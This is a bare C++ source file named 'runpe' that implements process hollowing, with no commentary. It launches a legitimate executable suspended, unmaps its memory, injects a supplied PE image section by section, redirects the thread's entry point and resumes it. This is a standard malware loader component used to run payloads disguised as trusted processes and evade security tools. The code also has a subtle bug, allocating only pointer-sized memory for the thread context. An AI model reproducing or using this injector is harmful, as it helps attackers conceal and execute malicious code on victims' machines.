runpe

typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
class runPE{
public:
void run(LPSTR szFilePath, PVOID pFile) 
{
PIMAGE_DOS_HEADER IDH;     
PIMAGE_NT_HEADERS INH;     
PIMAGE_SECTION_HEADER ISH; 
PROCESS_INFORMATION PI;    
STARTUPINFOA SI;           
PCONTEXT CTX;              
PDWORD dwImageBase;        
NtUnmapViewOfSection xNtUnmapViewOfSection;
LPVOID pImageBase;         
int Count;                 
IDH = PIMAGE_DOS_HEADER(pFile);
if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
{
INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
if (INH->Signature == IMAGE_NT_SIGNATURE)
{
RtlZeroMemory(&SI, sizeof(SI));
RtlZeroMemory(&PI, sizeof(PI));
if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
{
CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL;
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
{
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);
if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
{
xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
}
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
if (pImageBase)
{
WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
{
ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
}


}
}
}
}
VirtualFree(pFile, 0, MEM_RELEASE);
}
};